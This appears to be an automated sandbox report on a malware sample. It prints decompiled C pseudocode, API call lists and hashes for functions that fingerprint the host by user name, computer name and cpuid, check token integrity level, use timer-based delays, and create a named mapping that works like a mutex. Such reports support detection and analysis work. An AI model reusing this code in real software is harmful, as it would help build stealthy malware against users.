RtlFreeHeap.NTDLL(00000000,?,?,054E95B0), ref: 04B28E55
HeapFree.KERNEL32(00000000,?), ref: 04B28E61
RtlFreeHeap.NTDLL(00000000,?), ref: 04B28E6D

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$lstrlen$lstrcatwsprintf$lstrcpy$CountCriticalSectionTickTrim$AllocAllocateEnterInterface_LeaveProxyQueryStringUnknown_mbstowcsmemsetstrcpywcstombs
String ID:
API String ID: 603507560-0
Opcode ID: c1617a1dc2ca633875a6a78a5a39c111f6a28608b71ab3f8b750efe9303521b4
Instruction ID: 25194168ca4c0f4f46e954a073c30aff712cbb62450c7ce9cda068dba3e47371
Opcode Fuzzy Hash: c1617a1dc2ca633875a6a78a5a39c111f6a28608b71ab3f8b750efe9303521b4
Instruction Fuzzy Hash: B0915A71900218AFDB21EFA4DE48A9E7BB9EF08354F144596F808E7260C73AED51DB61

Uniqueness

Uniqueness Score: -1.00%

Function 04B26786, Relevance: 16.6, APIs: 11, Instructions: 150
timememoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E04B26786(intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				struct %anon52 _v8;
				long _v12;
				char _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v32;
				union _LARGE_INTEGER _v36;
				intOrPtr _v40;
				void* _v44;
				void _v88;
				char _v92;
				struct %anon52 _t46;
				intOrPtr _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t60;
				long _t64;
				signed int _t65;
				void* _t68;
				void* _t70;
				signed int _t71;
				intOrPtr _t73;
				intOrPtr _t76;
				void** _t78;
				void* _t80;

				_t73 = __edx;
				_v92 = 0;
				memset( &_v88, 0, 0x2c);
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v44 = _t46;
				if(_t46 == 0) {
					_v8.LowPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x4b2d240);
					_v20 = 0;
					_v16 = 0;
					L04B2B0C8();
					_v36.LowPart = _t46;
					_v32 = _t73;
					SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0);
					_t51 =  *0x4b2d26c; // 0x2e4
					_v40 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
					_v8.LowPart = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x4b2d24c = 5;
						} else {
							_t68 = E04B273FD(_t73); // executed
							if(_t68 != 0) {
								goto L4;
							}
						}
						_v12 = 0;
						L6:
						L6:
						if(_v12 == 1 && ( *0x4b2d260 & 0x00000001) == 0) {
							_v12 = 2;
						}
						_t71 = _v12;
						_t58 = _t71 << 4;
						_t76 = _t80 + (_t71 << 4) - 0x54;
						_t72 = _t71 + 1;
						_v24 = _t71 + 1;
						_t60 = E04B28504(_t72, _t72, _t80 + _t58 - 0x58, _t76,  &_v20,  &_v16); // executed
						_v8.LowPart = _t60;
						if(_t60 != 0) {
							goto L17;
						}
						_t65 = _v24;
						_t90 = _t65 - 3;
						_v12 = _t65;
						if(_t65 != 3) {
							goto L6;
						} else {
							_v8.LowPart = E04B23BF1(_t72, _t90,  &_v92, _a4, _a8);
						}
						goto L12;
						L17:
						__eflags = _t60 - 0x10d2;
						if(_t60 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x4b2d244);
							goto L21;
						} else {
							__eflags =  *0x4b2d248; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t60 = E04B2A1B0();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x4b2d248);
								L21:
								L04B2B0C8();
								_v36.LowPart = _t60;
								_v32 = _t76;
								SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0); // executed
								_t64 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
								__eflags = _t64;
								_v8.LowPart = _t64;
								if(_t64 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t78 =  &_v92;
					_t70 = 3;
					do {
						_t54 =  *_t78;
						if(_t54 != 0) {
							HeapFree( *0x4b2d238, 0, _t54);
						}
						_t78 =  &(_t78[4]);
						_t70 = _t70 - 1;
					} while (_t70 != 0);
					CloseHandle(_v44);
				}
				return _v8;
				goto L25;
			}

0x04b26786
0x04b26798
0x04b2679b
0x04b267a7
0x04b267af
0x04b267b2
0x04b26919
0x04b267b8
0x04b267b8
0x04b267ba
0x04b267bf
0x04b267c0
0x04b267c6
0x04b267c9
0x04b267cc
0x04b267da
0x04b267e5
0x04b267e8
0x04b267ea
0x04b267f7
0x04b26801
0x04b26805
0x04b26808
0x04b2680d
0x04b26818
0x04b26818
0x04b2680f
0x04b2680f
0x04b26816
0x00000000
0x00000000
0x04b26816
0x04b26822
0x00000000
0x04b26825
0x04b26829
0x04b26834
0x04b26834
0x04b2683b
0x04b26844
0x04b2684b
0x04b26854
0x04b26857
0x04b2685a
0x04b26861
0x04b26864
0x00000000
0x00000000
0x04b26866
0x04b26869
0x04b2686c
0x04b2686f
0x00000000
0x04b26871
0x04b26880
0x04b26880
0x00000000
0x04b268ae
0x04b268ae
0x04b268b3
0x04b268d2
0x04b268d4
0x04b268d9
0x04b268da
0x00000000
0x04b268b5
0x04b268b5
0x04b268bb
0x00000000
0x04b268bd
0x04b268bd
0x04b268c2
0x04b268c4
0x04b268c9
0x04b268ca
0x04b268e0
0x04b268e0
0x04b268e8
0x04b268f3
0x04b268f6
0x04b26901
0x04b26903
0x04b26905
0x04b26908
0x00000000
0x04b2690e
0x00000000
0x04b2690e
0x04b26908
0x04b268bb
0x00000000
0x04b268b3
0x04b26883
0x04b26885
0x04b26888
0x04b26889
0x04b26889
0x04b2688d
0x04b26897
0x04b26897
0x04b2689d
0x04b268a0
0x04b268a0
0x04b268a6
0x04b268a6
0x04b26923
0x00000000

APIs

memset.NTDLL ref: 04B2679B
CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 04B267A7
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 04B267CC
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000), ref: 04B267E8
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 04B26801
HeapFree.KERNEL32(00000000,00000000), ref: 04B26897
CloseHandle.KERNEL32(?), ref: 04B268A6
_allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 04B268E0
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,04B22417,?), ref: 04B268F6
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 04B26901

Part of subcall function 04B273FD: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,054E9388,00000000,?,74B5F710,00000000,74B5F730), ref: 04B2744C
Part of subcall function 04B273FD: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,054E93C0,?,00000000,30314549,00000014,004F0053,054E937C), ref: 04B274E9
Part of subcall function 04B273FD: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,04B26814), ref: 04B274FB

GetLastError.KERNEL32 ref: 04B26913

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
String ID:
API String ID: 3521023985-0
Opcode ID: 2ddae52be42209ca0d88201fd7b26f20ce60c52d79c95026cd055b3e41d26618
Instruction ID: a2fc17a2cf80b8eb55248605f38861d91b6cab7ec2eb6f295ce4e80e0621c785
Opcode Fuzzy Hash: 2ddae52be42209ca0d88201fd7b26f20ce60c52d79c95026cd055b3e41d26618
Instruction Fuzzy Hash: 3B515E71801229ABDF20DF94DE44DEEBFBCEF49324F204656F814E6190D775AA44CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04B21B2F, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E04B21B2F(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L04B2B0C2();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x4b2d27c; // 0x9ba5a8
				_t5 = _t13 + 0x4b2e862; // 0x54e8e0a
				_t6 = _t13 + 0x4b2e59c; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L04B2AD5A();
				_t17 = CreateFileMappingW(0xffffffff, 0x4b2d2a8, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}

0x04b21b2f
0x04b21b37
0x04b21b3b
0x04b21b41
0x04b21b46
0x04b21b4b
0x04b21b4e
0x04b21b51
0x04b21b56
0x04b21b57
0x04b21b5a
0x04b21b5f
0x04b21b66
0x04b21b70
0x04b21b72
0x04b21b73
0x04b21b76
0x04b21b92
0x04b21b98
0x04b21b9c
0x04b21bea
0x04b21b9e
0x04b21bab
0x04b21bbb
0x04b21bc3
0x04b21bd5
0x04b21bd9
0x00000000
0x00000000
0x04b21bc5
0x04b21bc8
0x04b21bcd
0x04b21bcf
0x04b21bcf
0x04b21bad
0x04b21baf
0x04b21bdb
0x04b21bdc
0x04b21bdc
0x04b21bab
0x04b21bf1

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,04B222EA,?,?,4D283A53,?,?), ref: 04B21B3B
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 04B21B51
_snwprintf.NTDLL ref: 04B21B76
CreateFileMappingW.KERNELBASE(000000FF,04B2D2A8,00000004,00000000,00001000,?), ref: 04B21B92
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,04B222EA,?,?,4D283A53), ref: 04B21BA4
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 04B21BBB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,04B222EA,?,?), ref: 04B21BDC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,04B222EA,?,?,4D283A53), ref: 04B21BE4

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1814172918-0
Opcode ID: 59ea85df482f50a63740ed913157bcf3999eaac69e10dfd6436c0d7a4efa3221
Instruction ID: df9cb5f3bb417d068e023abf0953b893a2212a4b3bba2e7bdce6214eb16cee12
Opcode Fuzzy Hash: 59ea85df482f50a63740ed913157bcf3999eaac69e10dfd6436c0d7a4efa3221
Instruction Fuzzy Hash: 9F21D576600218BBD721DBA8CE09F8E7BB9EF48750F1541A2F609E7190E775E9058B60

Uniqueness

Uniqueness Score: -1.00%

Function 04B2269C, Relevance: 12.1, APIs: 8, Instructions: 102
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E04B2269C(char __eax, signed int* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t63;
				signed int* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				signed int* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x4b2d270; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E04B26B43( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x4b2d278 ^ 0x4c0ca0ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x4b2d238, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t63 = _t62;
								 *_t69 =  *_t69 ^ E04B22496(_v8 + _v8, _t63);
							}
							HeapFree( *0x4b2d238, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x4b2d238, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t63 = _t68;
							_t69[3] = _t69[3] ^ E04B22496(_v8 + _v8, _t63);
						}
						HeapFree( *0x4b2d238, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *(_t67 + 8) = _t63;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				_t69[1] = _t69[1] ^ _t39;
				return _t39;
			}

0x04b2269c
0x04b226a4
0x04b226aa
0x04b226ad
0x04b226b0
0x04b226b2
0x04b226b7
0x04b226b7
0x04b226bd
0x04b226bf
0x04b226cc
0x04b2272d
0x04b226ce
0x04b226d3
0x04b226d9
0x04b226de
0x04b226ec
0x04b226f0
0x04b226ff
0x04b22706
0x04b2270d
0x04b2270d
0x04b22718
0x04b22718
0x04b226f0
0x04b226de
0x04b2272f
0x04b22735
0x04b2273f
0x04b22741
0x04b22746
0x04b22755
0x04b22759
0x04b22764
0x04b2276b
0x04b22772
0x04b22772
0x04b2277e
0x04b2277e
0x04b22759
0x04b22787
0x04b22789
0x04b2278c
0x04b2278e
0x04b22791
0x04b22794
0x04b2279e
0x04b227a2
0x04b227a6

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 04B226D3
RtlAllocateHeap.NTDLL(00000000,?), ref: 04B226EA
GetUserNameW.ADVAPI32(00000000,?), ref: 04B226F7
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,04B223D9), ref: 04B22718
GetComputerNameW.KERNEL32(00000000,00000000), ref: 04B2273F
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 04B22753
GetComputerNameW.KERNEL32(00000000,00000000), ref: 04B22760
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,04B223D9), ref: 04B2277E

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: HeapName$AllocateComputerFreeUser
String ID:
API String ID: 3239747167-0
Opcode ID: 476236cee30e2a0cfee59c00267327e07102938d2ee907651154cf7105c88d92
Instruction ID: 7199eb091714dfadf187f77bda2344a69e00ee5a5be999d1a14abb5fb6186416
Opcode Fuzzy Hash: 476236cee30e2a0cfee59c00267327e07102938d2ee907651154cf7105c88d92
Instruction Fuzzy Hash: 81311C71A00205EFEB25DF79DA81A6EF7F9EF48300F1045AAE509D7220DB35EE459B21

Uniqueness

Uniqueness Score: -1.00%

Function 04B2924F, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B2924F(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x4b2d25c > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E04B22049(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E04B29039(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}

0x04b2925c
0x04b29263
0x04b2926a
0x04b2927e
0x04b29289
0x04b292a1
0x04b292ae
0x04b292b1
0x04b292b6
0x04b292c1
0x04b292c5
0x04b292d4
0x04b292d8
0x04b292f4
0x04b292f4
0x04b292f8
0x04b292f8
0x04b292fd
0x04b29301
0x04b29307
0x04b29308
0x04b2930f
0x04b29315

APIs

OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 04B29281
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 04B292A1
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 04B292B1
CloseHandle.KERNEL32(00000000), ref: 04B29301

Part of subcall function 04B22049: RtlAllocateHeap.NTDLL(00000000,00000000,04B27E50), ref: 04B22055

GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 04B292D4
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 04B292DC
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 04B292EC

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
String ID:
API String ID: 1295030180-0
Opcode ID: 3849186340eef5e7fe14e6ccc0f3feeb827d107ea70dedc796b4a425ab3841db
Instruction ID: e360ddaca81eb21e61f1efa6c46c837ed50c76c5be6b3fa0f4f930144a6bea62
Opcode Fuzzy Hash: 3849186340eef5e7fe14e6ccc0f3feeb827d107ea70dedc796b4a425ab3841db
Instruction Fuzzy Hash: 40212AB590021DFFEF119FA4DE84DAEBB79EB44304F1000A6E914A61A0C7759E05EB60

Uniqueness

Uniqueness Score: -1.00%

Function 04B2163F, Relevance: 9.2, APIs: 6, Instructions: 152memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 04B21680
IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,?), ref: 04B21702
StrStrIW.SHLWAPI(?,006E0069), ref: 04B21741
SysFreeString.OLEAUT32(?), ref: 04B21763

Part of subcall function 04B252F9: SysAllocString.OLEAUT32(04B2C2B0), ref: 04B25349

SafeArrayDestroy.OLEAUT32(?), ref: 04B217B7
SysFreeString.OLEAUT32(?), ref: 04B217C5

Part of subcall function 04B22436: Sleep.KERNELBASE(000001F4), ref: 04B2247E

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree$ArrayDestroyInterface_ProxyQuerySafeSleepUnknown_
String ID:
API String ID: 2118684380-0
Opcode ID: 2a8699d7e8a60adfa393c19722402e082ad85f7820034415ba47d0c4e11d747f
Instruction ID: 50244beabcab56799303a04a6136a43c38bd22f06168ed280244fc860e04a87c
Opcode Fuzzy Hash: 2a8699d7e8a60adfa393c19722402e082ad85f7820034415ba47d0c4e11d747f
Instruction Fuzzy Hash: 2E514476900219EFDB10DFE8C9848DEB7B6FFC8340B158969E515EB220D735AD45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04B26A56, Relevance: 9.1, APIs: 6, Instructions: 60
sleepmemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E04B26A56(void* __ecx, void* __edx, intOrPtr _a4) {
				struct _FILETIME _v12;
				void* _t10;
				void* _t12;
				int _t14;
				signed int _t16;
				void* _t18;
				signed int _t19;
				unsigned int _t23;
				void* _t26;
				signed int _t33;

				_t26 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t10 = HeapCreate(0, 0x400000, 0); // executed
				 *0x4b2d238 = _t10;
				if(_t10 != 0) {
					 *0x4b2d1a8 = GetTickCount();
					_t12 = E04B28F10(_a4);
					if(_t12 == 0) {
						do {
							GetSystemTimeAsFileTime( &_v12);
							_t14 = SwitchToThread();
							_t23 = _v12.dwHighDateTime;
							_t16 = (_t23 << 0x00000020 | _v12.dwLowDateTime) >> 7;
							_push(0);
							_push(9);
							_push(_t23 >> 7);
							_push(_t16);
							L04B2B226();
							_t33 = _t14 + _t16;
							_t18 = E04B27E03(_a4, _t33);
							_t19 = 2;
							_t25 = _t33;
							Sleep(_t19 << _t33); // executed
						} while (_t18 == 1);
						if(E04B26B96(_t25) != 0) {
							 *0x4b2d260 = 1; // executed
						}
						_t12 = E04B2225B(_t26); // executed
					}
				} else {
					_t12 = 8;
				}
				return _t12;
			}

0x04b26a56
0x04b26a5c
0x04b26a5d
0x04b26a69
0x04b26a71
0x04b26a76
0x04b26a86
0x04b26a8b
0x04b26a92
0x04b26a94
0x04b26a99
0x04b26a9f
0x04b26aa5
0x04b26aaf
0x04b26ab3
0x04b26ab5
0x04b26aba
0x04b26abb
0x04b26abc
0x04b26ac1
0x04b26ac7
0x04b26ad0
0x04b26ad1
0x04b26ad6
0x04b26adc
0x04b26ae8
0x04b26aea
0x04b26aea
0x04b26af4
0x04b26af4
0x04b26a78
0x04b26a7a
0x04b26a7a
0x04b26afe

APIs

HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,04B2807D,?), ref: 04B26A69
GetTickCount.KERNEL32 ref: 04B26A7D
GetSystemTimeAsFileTime.KERNEL32(?,?,?,00000001,?,?,?,04B2807D,?), ref: 04B26A99
SwitchToThread.KERNEL32(?,00000001,?,?,?,04B2807D,?), ref: 04B26A9F
_aullrem.NTDLL(?,?,00000009,00000000), ref: 04B26ABC
Sleep.KERNELBASE(00000002,00000000,?,00000001,?,?,?,04B2807D,?), ref: 04B26AD6

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$CountCreateFileHeapSleepSwitchSystemThreadTick_aullrem
String ID:
API String ID: 507476733-0
Opcode ID: 34c69b67211c9e1aa08f4a0e72ee9690a6e72c962e7e2cc9f80b7dfb37d13f7c
Instruction ID: 1197b2ac94077f1058c663b58143a84dfb261d2078375664d8f48e09f9f6d419
Opcode Fuzzy Hash: 34c69b67211c9e1aa08f4a0e72ee9690a6e72c962e7e2cc9f80b7dfb37d13f7c
Instruction Fuzzy Hash: 5011C2726042107FE724AF74DE09B5E7BA8EB44350F10456AF90CD7180EAB6F81186B2

Uniqueness

Uniqueness Score: -1.00%

Function 04B2225B, Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E04B2225B(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				void* _t32;
				CHAR* _t36;
				CHAR* _t42;
				CHAR* _t43;
				CHAR* _t44;
				CHAR* _t46;
				void* _t49;
				void* _t51;
				CHAR* _t54;
				signed char _t56;
				intOrPtr _t58;
				signed int _t59;
				void* _t62;
				CHAR* _t65;
				CHAR* _t66;
				char* _t67;
				void* _t68;

				_t61 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E04B2550E();
				if(_t21 != 0) {
					_t59 =  *0x4b2d25c; // 0x4000000a
					_t55 = (_t59 & 0xf0000000) + _t21;
					 *0x4b2d25c = (_t59 & 0xf0000000) + _t21;
				}
				_t22 =  *0x4b2d164(0, 2);
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E04B23D0D( &_v8,  &_v20); // executed
					_t54 = _t25;
					_t26 =  *0x4b2d27c; // 0x9ba5a8
					if( *0x4b2d25c > 5) {
						_t8 = _t26 + 0x4b2e5cd; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x4b2ea15; // 0x44283a44
						_t27 = _t7;
					}
					E04B21BF4(_t27, _t27);
					_t31 = E04B21B2F(_t61,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t62 = 5;
					if(_t54 != _t62) {
						 *0x4b2d270 =  *0x4b2d270 ^ 0x81bbe65d;
						_t32 = E04B22049(0x60);
						__eflags = _t32;
						 *0x4b2d32c = _t32;
						if(_t32 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t32, 0, 0x60);
							_t49 =  *0x4b2d32c; // 0x54e95b0
							_t68 = _t68 + 0xc;
							__imp__(_t49 + 0x40);
							_t51 =  *0x4b2d32c; // 0x54e95b0
							 *_t51 = 0x4b2e836;
						}
						__eflags = 0;
						_t54 = 0;
						if(0 == 0) {
							_t36 = RtlAllocateHeap( *0x4b2d238, 0, 0x43);
							__eflags = _t36;
							 *0x4b2d2c4 = _t36;
							if(_t36 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t56 =  *0x4b2d25c; // 0x4000000a
								_t61 = _t56 & 0x000000ff;
								_t58 =  *0x4b2d27c; // 0x9ba5a8
								_t13 = _t58 + 0x4b2e55a; // 0x697a6f4d
								_t55 = _t13;
								wsprintfA(_t36, _t13, _t56 & 0x000000ff, _t56 & 0x000000ff, 0x4b2c2a7);
							}
							__eflags = 0;
							_t54 = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E04B2269C( ~_v8 &  *0x4b2d270, 0x4b2d00c); // executed
								_t42 = E04B24094(_t55); // executed
								_t54 = _t42;
								__eflags = _t54;
								if(_t54 != 0) {
									goto L30;
								}
								_t43 = E04B296A4(_t55); // executed
								__eflags = _t43;
								if(_t43 != 0) {
									__eflags = _v8;
									_t65 = _v12;
									if(_v8 != 0) {
										L29:
										_t44 = E04B26786(_t61, _t65, _v8); // executed
										_t54 = _t44;
										goto L30;
									}
									__eflags = _t65;
									if(__eflags == 0) {
										goto L30;
									}
									_t46 = E04B23DD9(__eflags,  &(_t65[4])); // executed
									_t54 = _t46;
									__eflags = _t54;
									if(_t54 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t54 = 8;
							}
						}
					} else {
						_t66 = _v12;
						if(_t66 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x4b2d160();
							}
							goto L34;
						}
						_t67 =  &(_t66[4]);
						do {
						} while (E04B2A501(_t62, _t67, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t54 = _t22;
					L34:
					return _t54;
				}
			}

0x04b2225b
0x04b22266
0x04b22269
0x04b2226c
0x04b2226f
0x04b22276
0x04b22278
0x04b22284
0x04b22286
0x04b22286
0x04b2228f
0x04b22297
0x04b2229a
0x04b222b4
